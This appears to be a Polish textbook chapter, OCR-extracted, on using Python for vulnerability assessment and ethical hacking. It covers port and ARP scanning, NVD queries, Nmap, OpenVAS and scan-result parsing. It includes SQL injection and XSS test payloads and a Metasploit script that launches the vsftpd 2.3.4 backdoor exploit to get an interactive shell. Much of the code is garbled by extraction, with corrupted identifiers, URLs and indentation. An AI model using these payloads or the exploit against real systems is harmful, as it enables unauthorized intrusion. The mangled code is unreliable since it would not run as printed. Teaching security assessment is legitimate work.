
Ocena podatności za pomocą Pythona 

Ocena podatności jest podstawowym elementem procesu etycznego hakowania, mającym na celu 

identyfikację, klasyfikację i ustalenie priorytetów luk w systemie. Ten rozdział kładzie nacisk na 

wykorzystanie Pythona do automatyzacji wykrywania i analizy luk w zabezpieczeniach zarówno w 

sieciach, jak i aplikacjach. Dzięki szczegółowym przykładom i wyjaśnieniom czytelnicy dowiedzą się, jak 

tworzyć skrypty Pythona, które łączą się z bazami danych luk w zabezpieczeniach, wykonują 

automatyczne skanowanie i analizują uzyskane dane. Rozdział wyposaża czytelników w umiejętności 

opracowywania niestandardowych narzędzi, które mogą znacznie zwiększyć wydajność i 

kompleksowość oceny podatności. 

Wprowadzenie do oceny podatności 

Ocena podatności stanowi podstawową fazę w domenie cyberbezpieczeństwa, skupiając się na 

systematycznej identyfikacji, kwantyfikacji i ustaleniu priorytetów luk w zabezpieczeniach systemów 

komputerowych, sieci i oprogramowania. Głównym celem tego procesu jest określenie luk w 

zabezpieczeniach, które potencjalnie mogą zostać wykorzystane przez złośliwe podmioty, 

umożliwiając tym samym organizacjom zajęcie się tymi słabościami, zanim zostaną wykorzystane w 

ataku. W swojej istocie ocena podatności opiera się na ustrukturyzowanym podejściu do oceny 

postawy bezpieczeństwa systemu informacyjnego. Podejście to można ogólnie podzielić na kilka 

kluczowych kroków: 

• Wstępna ocena: Zbieranie istotnych informacji i planowanie zakresu i celów oceny. 

• Identyfikacja podatności: Wykorzystanie różnych narzędzi i technik w celu odkrycia i skatalogowania 

potencjalnych podatności w systemie. 

• Analiza podatności: Ocena zidentyfikowanych podatności pod kątem ich potencjalnego wpływu i 

prawdopodobieństwa wykorzystania. 

• Ocena ryzyka: Kwantyfikacja ryzyka związanego z każdą podatnością, biorąc pod uwagę potencjalne 

szkody i prawdopodobieństwo wystąpienia. 

• Łagodzenie i naprawa: Zalecanie i wdrażanie środków w celu złagodzenia lub wyeliminowania 

zidentyfikowanych podatności. 

• Raportowanie: Dokumentowanie ustaleń, ocen i zaleceń w kompleksowym raporcie. 

Użycie Pythona w ocenie podatności jest motywowane bogatym ekosystemem bibliotek i struktur 

języka dostosowanych do sieci, web scrapingu i automatyzacji — wszystkie integralne komponenty w 

identyfikacji i analizie podatności. Prostota i czytelność Pythona oznaczają również, że niestandardowe 

narzędzia i skrypty mogą być szybko opracowywane i wdrażane, co pozwala na dynamiczne i 

responsywne podejście do oceny podatności. Zilustrujmy użycie Pythona w analizie podatności 

prostym przykładem, który skanuje sieć w poszukiwaniu otwartych portów, co może wskazywać na 

potencjalne podatności: 

1 import socket 

2 

3def scan_open_ports(target, ports): 

4print(f "Scanning {target} for open ports:") 

5for port in ports: 



6s = socket. socket(socket.AF_INET, socket.SOCK.STREAM) 

7socket.setdefaulttimeout( 1) 

8result = s.connect_ex((target, port)) 

9if result ==0: 

10print(f"Port {port} is open") 

11s.close() 

1213# Example usage 

14 scan_open_ports(’example.com’, [22,80,443]) 

Po wykonaniu dane wyjściowe mogą wyglądać następująco: 

Skanowanie example.com w poszukiwaniu otwartych portów: Port 22 jest otwarty 

Port 80 jest otwarty 

Port 443 jest otwarty 

W kontekście oceny podatności otwarte porty stanowią tylko jedną kategorię podatności. Są jednak 

pouczającym przykładem tego, jak Python może być pomocny w automatyzacji wykrywania 

potencjalnych słabości bezpieczeństwa. W kolejnych sekcjach zagłębimy się w różne typy podatności, 

które można zidentyfikować i ocenić za pomocą Pythona, i zbadamy rozwój bardziej złożonych 

skryptów i narzędzi do kompleksowej oceny podatności. 

Związek między oceną podatności a hakowaniem etycznym 

Ocena podatności i hakowanie etyczne to uzupełniające się procesy, które razem tworzą kompleksowe 

podejście do bezpieczeństwa systemu. Podczas gdy ocena podatności koncentruje się na 

identyfikowaniu, klasyfikowaniu i ustalaniu priorytetów luk w systemie, hakowanie etyczne idzie o krok 

dalej, próbując wykorzystać te luki w celu określenia rzeczywistego narażenia systemu na ataki. W tej 

sekcji omówiona zostanie integralna rola, jaką ocena podatności odgrywa w szerszym kontekście 

hakowania etycznego, oraz w jaki sposób Python może być wykorzystywany do automatyzacji i 

ulepszania tych procesów. Ocena podatności stanowi podstawę hakowania etycznego. Zapewnia jasną 

i uporządkowaną metodę identyfikacji słabości w systemie. Bez kompleksowego zrozumienia 

podatności systemu, dla hakera etycznego byłoby trudne skuteczne namierzanie i wykorzystywanie 

słabości. Dlatego ocenę podatności można postrzegać jako pierwszy krok w procesie hakowania 

etycznego. Celem jest skompilowanie dokładnego spisu luk w zabezpieczeniach przed podjęciem 

jakiejkolwiek próby ich wykorzystania. Proces oceny podatności można ogólnie podzielić na cztery 

etapy: 

• Identyfikacja: Wykorzystanie narzędzi i skryptów, często opracowanych w Pythonie, do skanowania 

systemów, sieci i aplikacji pod kątem znanych luk. 

• Klasyfikacja: Kategoryzacja i ranking zidentyfikowanych luk w oparciu o ich charakter i potencjalny 

wpływ. 

• Priorytetyzacja: Ranking luk w kolejności ważności lub potencjalnych szkód, co wyznacza kierunek 

dalszych działań etycznego hakowania. 



• Raportowanie: Kompilacja ustaleń w szczegółowych raportach, które można wykorzystać do dalszej 

analizy i działań. 

Kompleksowy charakter tego procesu podkreśla znaczenie narzędzi automatyzacji. Python, z jego 

rozległym ekosystemem bibliotek i przydatnością do szybkiego rozwoju, jest doskonałym wyborem do 

tworzenia niestandardowych narzędzi do oceny podatności. Narzędzia te mogą automatyzować proces 

skanowania, wchodzić w interakcje z bazami danych podatności w celu pobierania aktualnych 

informacji i generować raporty. Hakerstwo etyczne wykorzystuje ustalenia z oceny podatności i 

wykorzystuje je do symulacji technik atakujących. Symuluje to ataki w świecie rzeczywistym, ale w 

kontrolowanym i konsensualnym środowisku. W ten sposób ujawnia praktyczne implikacje podatności 

i zapewnia miarę odporności systemu na ataki. Skrypty Pythona mogą być również wykorzystywane w 

tej fazie w celu automatyzacji eksploatacji podatności zidentyfikowanych podczas fazy oceny. Ta 

synergia między oceną podatności a hakowaniem etycznym ma kluczowe znaczenie dla kompleksowej 

strategii bezpieczeństwa. Związek między oceną podatności a hakowaniem etycznym nie jest 

jednokierunkowy. Wnioski uzyskane z etycznego hakowania mogą być wykorzystane w procesie oceny 

podatności, co prowadzi do cyklu ciągłego doskonalenia. Na przykład niekonwencjonalna metoda 

wykorzystania podatności odkrytej podczas ćwiczenia etycznego hakowania może doprowadzić do 

udoskonalenia narzędzi i technik oceny podatności w celu lepszego wykrywania takich metod w 

przyszłości. Synergia między oceną podatności a etycznym hakowaniem stanowi podstawę solidnej 

strategii obrony cyberbezpieczeństwa. Elastyczność Pythona i szerokość dostępnych bibliotek 

sprawiają, że jest on niezbędnym narzędziem do automatyzacji zadań w ramach obu procesów, 

zwiększając tym samym wydajność i skuteczność ocen bezpieczeństwa. 

Konfigurowanie środowiska dla narzędzi wykrywania luk w zabezpieczeniach z Pythonem  

Aby skutecznie wykorzystać Pythona do oceny luk w zabezpieczeniach, warunkiem wstępnym jest 

odpowiednio skonfigurowane środowisko. Obejmuje to zainstalowanie samego Pythona, 

skonfigurowanie dedykowanego środowiska wirtualnego, zainstalowanie niezbędnych bibliotek i 

narzędzi oraz zapewnienie zgodności z różnymi bazami danych luk w zabezpieczeniach i narzędziami 

skanującymi, które będą interfejsowane w tej sekcji. 

Instalowanie Pythona 

Pierwszym krokiem jest instalacja Pythona. Zalecany jest Python 3.x ze względu na jego nowoczesne 

funkcje i rozszerzone wsparcie. Instalację można wykonać za pośrednictwem oficjalnej strony 

internetowej Pythona lub za pośrednictwem menedżera pakietów specyficznego dla Twojego systemu 

operacyjnego. W przypadku użytkowników Linuksa i macOS Python jest często instalowany wstępnie, 

chociaż może wymagać aktualizacji: 

1 # For macOS 

2 brew install python 

3 

4 # For Debian-based Linux distributions 

5 sudo apt-get update 

6 sudo apt-get install python3 

Tworzenie środowiska wirtualnego 



Po zainstalowaniu Pythona dobrą praktyką jest utworzenie środowiska wirtualnego dla narzędzi oceny 

podatności. Środowisko wirtualne to odizolowana konfiguracja Pythona, w której można instalować 

biblioteki i wykonywać skrypty bez wpływu na globalną instalację Pythona. Można to osiągnąć za 

pomocą modułu venv: 

1  python3 -m venv venv_assessment 

2 source venv_assessment/bin/activate 

Po aktywacji monit wiersza poleceń zmieni się, wskazując, że pracujesz teraz w środowisku wirtualnym. 

W tym środowisku zainstalujesz dodatkowe pakiety i uruchomisz skrypty Pythona. 

Instalowanie wymaganych bibliotek 

Po aktywowaniu środowiska wirtualnego zainstaluj niezbędne biblioteki Pythona do oceny podatności. 

Biblioteki te udostępniają funkcje do komunikacji sieciowej, analizy danych i łączenia się z interfejsami 

API: 

1 pip install requests beautifulsoup4 python-nma 

Tutaj requests jest używane do wysyłania żądań HTTP do usług sieciowych, beautifulsoup4 do 

parsowania dokumentów HTML i XML, a python-nmap do programowej interakcji ze skanerem portów 

Nmap. 

Konfigurowanie dostępu do baz danych luk 

Wiele narzędzi do oceny luk opiera się na bazach danych, które katalogują znane luki, takich jak 

National Vulnerability Database (NVD) lub lista Common Vulnerabilities and Exposures (CVE). Aby 

uzyskać dostęp do tych baz danych za pośrednictwem odpowiednich interfejsów API, może być 

wymagana rejestracja w celu uzyskania klucza API: 

• Odwiedź oficjalną stronę internetową bazy danych luk. 

• Zakończ proces rejestracji i zanotuj podany klucz API. 

• Przechowuj klucz API bezpiecznie w swoim projekcie, najlepiej jako zmienną środowiskową lub w 

pliku konfiguracyjnym, który nie jest uwzględniony w kontroli wersji. 

Integrowanie skanerów luk 

Na koniec, integracja skanerów luk typu open source ze środowiskiem Python rozszerza jego 

możliwości. Narzędzia takie jak OpenVAS i Nmap można zainstalować osobno i wywołać ze skryptów 

Pythona za pomocą wywołań systemowych lub poprzez ich opakowania Pythona, jeśli są dostępne. W 

przypadku Nmapa, wcześniej zainstalowana biblioteka python-nmap służy temu celowi, umożliwiając 

uruchamianie skanów i analizowanie ich wyników bezpośrednio w skryptach Pythona: 

1 mport nmap 

2 

3 scanner = nmap.PortScanner() 

4 scanner.scan(’192.168.1.1’, ’22-443’) 

5 

6 for host in scanner.all_hosts(): 



7 print(’Host: %s (°/os)' % (host, scanner[host].hostname())) 

8 print('State : %s’ % scanner[host].state())1  

Ta konfiguracja stanowi podstawę do opracowywania kompleksowych narzędzi do oceny podatności 

przy użyciu języka Python. Podkreśla ona znaczenie czystego, odizolowanego środowiska 

programistycznego, dostosowanego do wszystkich niezbędnych zależności, w celu wydajnej i 

skutecznej analizy podatności. 

Korzystanie z języka Python do interakcji z bazami danych podatności 

Interakcja z bazami danych podatności jest kluczowym krokiem w procesie identyfikacji podatności w 

systemie. Bazy te dostarczają bogactwa informacji o znanych podatnościach, w tym ich powadze, 

wpływie i strategiach łagodzenia. Python, dzięki bogatemu zestawowi bibliotek i prostocie, jest 

doskonałym narzędziem do przeszukiwania tych baz danych w celu pobrania niezbędnych danych do 

zadań oceny podatności. Jedną z najbardziej znanych baz danych podatności jest National Vulnerability 

Database (NVD), która zapewnia kompleksowy katalog luk w zabezpieczeniach. Aby nawiązać interfejs 

z takimi bazami danych, programiści języka Python mogą użyć biblioteki żądań do wysyłania żądań 

HTTP do interfejsów API RESTful udostępnianych przez te bazy danych. Zacznijmy od zainstalowania 

biblioteki żądań, jeśli jeszcze jej nie zainstalowano: 

1 pip install requests 

Po zainstalowaniu możesz zacząć pisać skrypt Pythona, który wysyła żądanie HTTP GET w celu pobrania 

danych z NVD. Punktem końcowym API NVD do pobierania luk jest 

„https://services.nvd.nist.gov/rest/json/cves/1.0”. 

1 import requests 

2 

3 def fetch_vulnerabilities(): 

4 nvd_api_url = ' 

https://services.nvd.nist.g0v/rest/json/cves/l.O’ 

5 response = requests.get(nvd_api_url) 

6 if response.status_code == 200: 

7 return response.json() 

8 else: 

9 return None 

10 

11 vulnerabilities = fetch_vulnerabilities() 

12 if vulnerabilities: 

13 print(vulnerabilities) 

14 else: 

15 print("Failed to fetch vulnerabilities") 



Ten skrypt wysyła żądanie HTTP GET do interfejsu API NVD i drukuje pobrane luki w formacie JSON. 

Kontrola response.status_code zapewnia, że żądanie zakończyło się powodzeniem przed próbą analizy 

odpowiedzi JSON. Scenariusze z życia wzięte często wymagają bardziej wyrafinowanych zapytań, takich 

jak filtrowanie luk według określonych kryteriów. Można to osiągnąć, dołączając parametry zapytania 

do adresu URL. Na przykład, aby filtrować luki opublikowane w 2021 r., można zmodyfikować 

nvd_api_url w następujący sposób: 

1 nvd_api_url = ’https://services.nvd.nist.gov/rest/json/cves/1.0?pubStartDate=2021-01-

01T00:00:00:000 UTC&pubEndDate=2021-12- 31T23:59:59:OOO UTC 

Odpowiedź JSON zawiera mnóstwo informacji o każdej podatności, ale może być przytłaczająca. Aby 

wyodrębnić i wyświetlić określone informacje, takie jak identyfikator CVE, opis i powaga, możesz 

przeanalizować strukturę JSON: 

1 import json 

2  

3 def parse_vulnerabilities(vulnerabilities): 

4 for item in vulnerabilities[’result’][’CVE_Items']: 

5 cve_id = item['cve’]['CVE_data_meta’]['ID’] 

6 description = item[’cve'][’description'][’description_data’][0][’value'] 

7 severity = item[’impact’][’baseMetricV2’][’severity’] if’baseMetricV2’ in item[’impact’] else ’N/A’ 

8 print(f"CVE ID: {cve_id}, Description: {description}, Severity: {severity}") 

9 

10 vulnerabilities = fetch_vulnerabilities() 

11 if vulnerabilities: 

12 parse_vulnerabilities(vulnerabilities) 

13 else: 

14 print("Failed to fetch vulnerabilities") 

W powyższym skrypcie funkcja parse_vulnerabilities iteruje listę luk, wyodrębniając i drukując 

identyfikator CVE, opis i powagę każdej luki. Należy pamiętać, że skrypt zakłada obecność pewnych 

kluczy w strukturze JSON i może wymagać dostosowań w zależności od specyfiki odpowiedzi i 

dostępnych informacji. Interakcja z bazami danych luk w zabezpieczeniach za pośrednictwem Pythona 

nie tylko automatyzuje proces pobierania danych, ale także umożliwia dostosowywanie i filtrowanie 

danych na podstawie określonych wymagań. Ta możliwość stanowi podstawę do tworzenia bardziej 

złożonych narzędzi do oceny luk w zabezpieczeniach, przygotowując grunt pod automatyczne 

skanowanie i analizy, które zostaną omówione w kolejnych sekcjach. 

Tworzenie skryptów w celu wykrywania typowych luk w zabezpieczeniach 

Tworzenie skryptów w celu wykrywania typowych luk w zabezpieczeniach obejmuje zrozumienie 

typów luk, które są powszechne w dzisiejszych środowiskach obliczeniowych i wykorzystanie bibliotek 

i możliwości Pythona do opracowywania narzędzi, które mogą identyfikować te luki w 



zabezpieczeniach. Ta sekcja koncentruje się na rozwoju skryptów Pythona, które automatyzują 

wykrywanie typowych luk w usługach sieciowych, aplikacjach internetowych i systemach 

oprogramowania. Na początek ustalmy podstawowe zrozumienie typowych luk, które te skrypty mają 

na celu wykrywać. Luki te często obejmują, ale nie ograniczają się do, wstrzykiwania kodu SQL, Cross-

Site Scripting (XSS), przepełnienia bufora i błędne konfiguracje w usługach sieciowych. 

Identyfikowanie luk w zabezpieczeniach przed wstrzyknięciem kodu SQL 

Wstrzyknięcie kodu SQL to powszechny wektor ataku, który wykorzystuje nieprawidłową dezynfekcję 

danych w polach wejściowych aplikacji internetowych, umożliwiając atakującym manipulowanie 

zapytaniami SQL. Skrypt Pythona zaprojektowany do wykrywania luk w zabezpieczeniach przed 

wstrzyknięciem kodu SQL może zautomatyzować proces wysyłania różnych nieprawidłowo 

sformatowanych zapytań SQL do pól wejściowych aplikacji docelowej i analizowania odpowiedzi pod 

kątem wskazań przed wstrzyknięciem kodu SQL. 

1import requests 

2 

3 def test_sql_injection(url): 

4 payload ="’OR T=’l" 

5 vulnerable = False 

6 try: 

7 response = requests.get(f"{url}?input={payload}") 

8 if "Welcome back" in response.text or "logged in" in response.text: 

9 vulnerable = True 

10 except requests.exceptions.RequestException as e: 

11 print(f "Testing failed due to: {e}") 

12 return vulnerable 

13 

14 url = "" 

http://example.com/login 

15 if test_sql_injection(url): 

16 print(f "The website {url} is vulnerable to SQL Injection.") 

17 else: 

18 print(f "The website {url} is not vulnerable to SQL Injection.") 

Wykrywanie ataków typu Cross-Site Scripting (XSS) 

Luki typu Cross-Site Scripting (XSS) występują, gdy aplikacja zawiera niezaufane dane na stronie 

internetowej bez odpowiedniej walidacji lub ucieczki. Skrypt wykrywający ataki typu XSS może 



automatyzować przesyłanie danych zawierających kod JavaScript do aplikacji i sprawdzać, czy 

JavaScript jest wykonywany w odpowiedzi. 

1 import requests 

2  

3 def test_xss(url): 

4 payload = "< script >alert(’XSS’)</script >" 

5 vulnerable = False 

6 try: 

7 response = requests.post(url, data={"input":payload}) 

8 if payload in response.text: 

9 vulnerable = True 

10 except requests.exceptions.RequestException as e: 

11 print(f "Testing failed due to: {e}") 

12 return vulnerable 

13 

14 url = ""http://example.com/comment 

15 if test_xss(url): 

16  print(f "The website {url} is vulnerable to Cross-Site Scripting (XSS).") 

17 else: 

18 print(f "The website {url} is not vulnerable to XSS.") 

Automatyzacja wykrywania przepełnień bufora 

Luki w zabezpieczeniach związane z przepełnieniem bufora występują, gdy aplikacja zapisuje do bufora 

więcej danych, niż jest mu przydzielone, co potencjalnie prowadzi do wykonania dowolnego kodu. 

Programowe wykrywanie przepełnień bufora może obejmować wysyłanie ładunków danych 

przekraczających oczekiwaną długość i monitorowanie zachowania aplikacji pod kątem oznak awarii 

lub nieoczekiwanego zachowania. Ze względów etycznych i logistycznych podanie bezpośredniego 

przykładu skryptu dla przepełnień bufora wykracza poza zakres tego tekstu. Jednak podstawowa 

koncepcja obejmuje automatyczne generowanie danych wejściowych o różnej długości i znakach, 

monitorowanie aplikacji docelowej pod kątem oznak awarii lub nieoczekiwanego zachowania. 

Skanowanie w poszukiwaniu nieprawidłowo skonfigurowanych usług sieciowych 

Nieprawidłowo skonfigurowane usługi sieciowe mogą wprowadzać znaczące luki w zabezpieczeniach 

systemu. Skrypty Pythona mogą wykorzystywać biblioteki, takie jak socket, do interakcji z usługami 

sieciowymi, wysyłać spreparowane ładunki i analizować odpowiedzi w celu identyfikacji 

nieprawidłowych konfiguracji, które mogą wskazywać na słabości zabezpieczeń. 

1 import socket 



2  

3  def test_service(ip, port): 

4 try: 

5 with socket.socket(socket.AF_INET, socket.SOCK.STREAM) as s: 

6 s.connect((ip, port)) 

7 s.sendall(b’Hello, world’) 

8 data = s.recv(1024) 

9 print(f"Received {data’r}") 

10 except socket.error as e: 

11 print(f "Failed to connect or send data: {e}") 

12  

13 ip ="192.168.1.1" 

14 port = 80 

15 test_service(ip, port) 

W tej sekcji omówiliśmy rozwój skryptów Pythona w celu wykrywania typowych luk w 

zabezpieczeniach, takich jak wstrzyknięcie SQL, XSS, przepełnienia bufora i błędne konfiguracje w 

usługach sieciowych. Dzięki zrozumieniu i zautomatyzowaniu wykrywania tych luk specjaliści ds. 

cyberbezpieczeństwa mogą skutecznie identyfikować i łagodzić potencjalne słabości bezpieczeństwa 

w swoich systemach. 

Integrowanie narzędzi Open Source z Pythonem w celu przeprowadzenia kompleksowej oceny 

W dziedzinie oceny podatności wykorzystanie narzędzi Open Source może znacznie zwiększyć zakres i 

głębokość analizy bezpieczeństwa. Python, dzięki swoim rozbudowanym bibliotekom i prostej składni, 

stanowi idealną platformę do integracji tych narzędzi w spójne ramy. W tej sekcji omówiono, jak 

połączyć Pythona z wiodącymi narzędziami Open Source w celu przeprowadzenia kompleksowej oceny 

podatności. Narzędzia Open Source do zabezpieczania oferują szeroki zakres funkcjonalności, od 

skanowania sieci po testowanie podatności aplikacji. Takie narzędzia obejmują Nmap do wykrywania 

sieci i audytu bezpieczeństwa, Metasploit do testowania penetracyjnego i OpenVAS do skanowania 

podatności, między innymi. Python może automatyzować interakcje tych narzędzi, agregować ich 

wyniki i stosować dalszą analizę, wzbogacając w ten sposób proces oceny podatności. 

Interakcja z Nmap za pomocą Pythona 

Nmap (Network Mapper) to bezpłatne i otwarte narzędzie do wykrywania sieci i audytu 

bezpieczeństwa. Biblioteka python-nmap Pythona umożliwia integrację z Nmap, umożliwiając 

automatyczne skanowanie sieci i analizę wyników w skryptach Pythona. Aby wykonać proste 

skanowanie Nmap za pomocą Pythona, możesz wykorzystać następujący fragment kodu: 

1import nmap 

2 



3# Create an Nmap scanner instance 

4nm = nmap.PortScanner() 

5 

6# Specify the target and type of scan 

7nm.scan(’127.0.0.1',’22-443’) 

8 

9# Iterate over all scanned hosts 

10for host in nm.all_hosts(): 

11print(’Host: %s (%s)' % (host, nm[host].hostname())) 

12print(’State : %s’ % nm[host].state()) 

Kod wykonuje skanowanie na komputerze lokalnym dla portów od 22 do 443. Kolejne konstrukcje 

iteracyjne drukują stan każdego napotkanego hosta podczas skanowania. Możliwość interakcji 

Pythona z Nmap umożliwia automatyczne skanowanie różnych podsystemów w sieci organizacji, co 

usprawnia wykrywanie luk w zabezpieczeniach sieciowych. 

Automatyzacja operacji Metasploit za pomocą Pythona 

Metasploit, framework do testów penetracyjnych typu open source, ułatwia wykrywanie luk w 

zabezpieczeniach. Biblioteka Pythona pymetasploit3 oferuje bezpośredni sposób programowego 

kontrolowania możliwości Metasploit. Poniższy przykład pokazuje, jak wykorzystać Pythona do 

automatyzacji wykonywania exploita za pomocą Metasploit: 

1 from pymetasploit3.msfrpc import MsfRpcClient 

2 

3 client = MsfRpcClient(’password’, port= 55552) 

4 

5 exploit = client.modules.usefexploit’, ’unix/ftp/vsftpd_234_backdoor’) 

6 exploit[’RHOSTS’] =’192.168.1.101’ 

7 payload = client.modules.use(’payload’, ’cmd/unix/interact’) 

8 payload[’LHOST’] =’192.168.1.100’ 

9 

10 exploit.execute(payload=payload) 

Ten skrypt konfiguruje i uruchamia exploit na maszynie docelowej, pokazując, w jaki sposób Python 

może usprawnić proces eksploatacji w ramach oceny podatności. 

Wykorzystywanie OpenVAS do skanowania podatności 

OpenVAS to kompleksowe narzędzie do skanowania podatności, które można zintegrować z 

przepływami pracy Pythona przy użyciu pakietu gvm-tools. Dzięki tej integracji skrypty Pythona mogą 



inicjować skanowanie, zbierać wyniki i analizować dane w celu identyfikacji potencjalnych podatności. 

Przykład inicjowania skanowania za pomocą OpenVAS za pośrednictwem Pythona jest następujący: 

1.from gvm.connections import UnixSocketCormection 

2 from gvm.protocols.latest import Gmp 

3  

4 # Establish a connection to the OpenVAS scanner 

5 connection = UnixSocketConnection() 

6 with Gmp(connection) as gmp: 

7 # Authenticate 

8 gmp.authenticate('user’, 'password') 

9  

10 # Initiate a scan 

11 gmp.start_task(task_id='dOc4cl51-6dff-4b62-8a63-a9336f566a59’) 

Ta demonstracja przedstawia inicjację wstępnie zdefiniowanego skanowania podatności, pokazując 

potencjał automatyzacji rutynowych skanów i kompleksowych ocen. Integracja narzędzi open source 

z Pythonem zapewnia elastyczne i wydajne podejście do przeprowadzania ocen podatności. Łącząc 

mocne strony narzędzi takich jak Nmap, Metasploit i OpenVAS z możliwościami skryptowania Pythona, 

specjaliści ds. bezpieczeństwa mogą automatyzować szczegółowe analizy, usprawniać przepływ pracy 

oceny podatności i osiągać bardziej kompleksową postawę bezpieczeństwa. Ta metodologia podkreśla 

strategiczną zaletę integrowania wszechstronnych narzędzi za pośrednictwem Pythona w celu 

zwiększenia skuteczności ocen podatności. 

Automatyzacja skanowania podatności za pomocą Pythona 

Automatyzacja skanowania podatności jest kluczową strategią w zwiększaniu wydajności i skuteczności 

obron cyberbezpieczeństwa. Python, ze względu na swoją wszechstronność i szerokie wsparcie ze 

strony swojej społeczności, służy jako doskonałe narzędzie do tego celu. W tej sekcji omówiona 

zostanie metodologia automatyzacji skanowania luk w zabezpieczeniach przy użyciu języka Python, ze 

szczególnym uwzględnieniem podstaw tworzenia skryptów do oceny luk w zabezpieczeniach sieci i 

aplikacji. Na początek kluczowe jest zrozumienie planu ramowego automatyzacji. Obejmuje to 

określenie celów skanowania, w tym docelowych systemów lub aplikacji, typów luk w 

zabezpieczeniach do wyszukania i oczekiwanego wyniku. Ponadto rozważenie implikacji etycznych i 

prawnych ma kluczowe znaczenie podczas automatyzacji skanowania w celu zapewnienia zgodności z 

obowiązującymi przepisami i normami.  

Tworzenie podstawowego skanera luk w zabezpieczeniach w Pythonie 

Prosty skaner luk w zabezpieczeniach można utworzyć za pomocą Pythona, wykorzystując istniejące 

biblioteki, takie jak Scapy, do operacji sieciowych lub żądań aplikacji internetowych. Pierwszym 

krokiem jest nawiązanie połączenia z celem, a następnie wykorzystanie różnych technik w celu 

zidentyfikowania luk w zabezpieczeniach. 

1 import scapy.all as scapy 



2 

3 def scan(ip): 

4 arp_request = scapy.ARP(pdst=ip) 

5 broadcast = scapy.Ether(dst='‘ff:ff:ff:ff:ff:ff") 

6 arp_request_broadcast = broadcast/arp_request 

7 answeredjist = scapy.srp(arp_request_broadcast, timeout= 1, verbose=False)[0] 

8 

9 for element in answeredjist: 

10 print("IP:" + element[l].psrc + " MAC:" + element[l].hwsrc) 

11 

12# Example usage 

13 scan("192.168.0.1/24") 

Powyższy skrypt wykonuje proste skanowanie sieci w celu zidentyfikowania adresów IP i MAC urządzeń 

w określonym zakresie. Podobne podejścia można dostosować do różnych typów skanowania, w tym 

skanowania portów, identyfikacji luk w zabezpieczeniach lub wykrywania podejrzanych działań. 

Interakcja z bazami danych luk w zabezpieczeniach 

Aby przeprowadzić bardziej zaawansowaną ocenę luk w zabezpieczeniach, narzędzie musi być w stanie 

identyfikować znane luki w zabezpieczeniach w systemach docelowych lub aplikacjach. Wiąże się to z 

interakcją z bazami danych luk w zabezpieczeniach lub interfejsami API, takimi jak baza danych 

Common Vulnerabilities and Exposures (CVE). Biblioteka „requests” języka Python może ułatwić 

komunikację z takimi bazami danych w celu pobierania danych o lukach w zabezpieczeniach w czasie 

rzeczywistym. 

1 import requests 

2 

3 def fetch_vulnerability_details(cve_id): 

4 response = requests.get(f "") 

http://cve.circl.lu/api/cve/{cve_id} 

5 if response.status_code == 200: 

6 return response.json() 

7 else: 

8 return None 

9  

10 # Example usage 

11 vulnerability_details = fetch_vulnerability_details(’CVE-2021-44228’) 



12 if vulnerability-details is not None: 

13 print(vulnerability_details) 

Automatyzacja procesu skanowania 

Dzięki możliwości wykrywania urządzeń i identyfikowania luk w zabezpieczeniach, kolejnym krokiem 

jest automatyzacja całego procesu. Wiąże się to z planowaniem skanowania, wykonywaniem go bez 

ingerencji człowieka i systematycznym rejestrowaniem wyników. Biblioteki Pythona „schedule” i 

„threading” okazują się w tym celu przydatne. Biblioteki „schedule” można używać do planowania 

okresowych skanów, podczas gdy „threading” pozwala skanerowi działać w tle lub równolegle z innymi 

zadaniami. 

1 import schedule 

2 import time 

3 import threading 

4 

5 defjob(): 

6 print("Performing the vulnerability scan...") 

7 # Place the scan function here 

8 

9 def run_threaded(job_func): 

10 job_thread = threading.Thread(target=job_func) 

11 job_thread.start() 

12 

13 schedule.every().day.at("01:00").do(run_threaded, job) 

14  

15 while True: 

16 schedule.run_pending() 

17 time.sleep(l) 

Analiza i analiza wyników skanowania 

Ostatni krok automatyzacji obejmuje analizę danych uzyskanych ze skanów, ich analizę w celu 

klasyfikowania i ustalania priorytetów luk w zabezpieczeniach, a następnie generowanie użytecznych 

spostrzeżeń. Biblioteki manipulacji danymi Pythona, takie jak Pandas, mogą być pomocne w tej fazie. 

1 import pandas as pd 

2 

3 # Assuming scan-results is a list of dictionaries with scan data 

4 scan_results = [{'IP': '192.168.1.1’, 'Vulnerability': 'CVE-2021-44228', 'Severity': 'High'}] 



5 

6 df = pd.DataFrame(scan_results) 

7 print(df) 

Ta prosta demonstracja stanowi podstawę do budowania złożonych narzędzi oceny podatności 

dostosowanych do konkretnych potrzeb organizacji. Zintegrowanie dodatkowych funkcji, takich jak 

alerty w czasie rzeczywistym, kompleksowe mechanizmy raportowania i śledzenie napraw, może 

znacznie zwiększyć wartość narzędzia w utrzymywaniu solidnych postaw cyberbezpieczeństwa. 

Prostota Pythona i bogactwo jego ekosystemu sprawiają, że jest to niezrównane narzędzie do 

automatyzacji skanowania podatności. Wykorzystując moc istniejących bibliotek i interfejsów API, 

specjaliści ds. cyberbezpieczeństwa mogą konstruować dostosowane rozwiązania, które usprawniają 

proces oceny podatności, wzmacniając w ten sposób ich obronę przed cyberzagrożeniami. 

Analiza i parsowanie danych skanowania luk w zabezpieczeniach za pomocą Pythona 

Analizowanie i parsowanie danych ze skanowania luk w zabezpieczeniach jest kluczowym krokiem w 

procesie oceny luk w zabezpieczeniach. Ten krok przekształca surowe dane skanowania w praktyczne 

spostrzeżenia, umożliwiając identyfikację luk w zabezpieczeniach systemów lub aplikacji. Python, 

dzięki swojemu solidnemu zestawowi bibliotek i prostocie, oferuje idealną platformę do obsługi tego 

zadania. Ta sekcja obejmuje sposób parsowania i analizowania danych skanowania luk w 

zabezpieczeniach za pomocą Pythona, skupiając się na typowych formatach danych i metodologiach 

wyodrębniania i interpretowania wyników skanowania. Na początek większość narzędzi do 

skanowania luk w zabezpieczeniach eksportuje dane w standardowych formatach, takich jak XML, 

JSON lub CSV. Formaty te są zarówno czytelne dla człowieka, jak i parsowalne przez maszynę, dzięki 

czemu nadają się do automatycznej analizy za pomocą Pythona. Wybór biblioteki, której należy użyć 

do parsowania, zależy od formatu danych skanowania. W przypadku danych XML wygodnym wyborem 

jest xml.etree.ElementTree, natomiast w przypadku danych JSON wbudowana biblioteka json Pythona 

jest prosta w użyciu. W przypadku plików CSV moduł csv zapewnia niezbędne funkcjonalności. 

Analiza danych w formacie JSON 

Biorąc pod uwagę powszechność formatu JSON w aplikacjach internetowych i interfejsach API, ta 

sekcja skupi się na analizie danych skanowania luk w zabezpieczeniach w formacie JSON. 

1 import json 

2 

3 # Load JSON data from a file 

4 with open(’scan_results.json', ’r*) as file: 

5 data = json.load(file) 

6  

7# Example of accessing data 

8 for item in dataf’vulnerabilities’]: 

9 print(f"Vulnerability ID: {itemf'id’]}") 

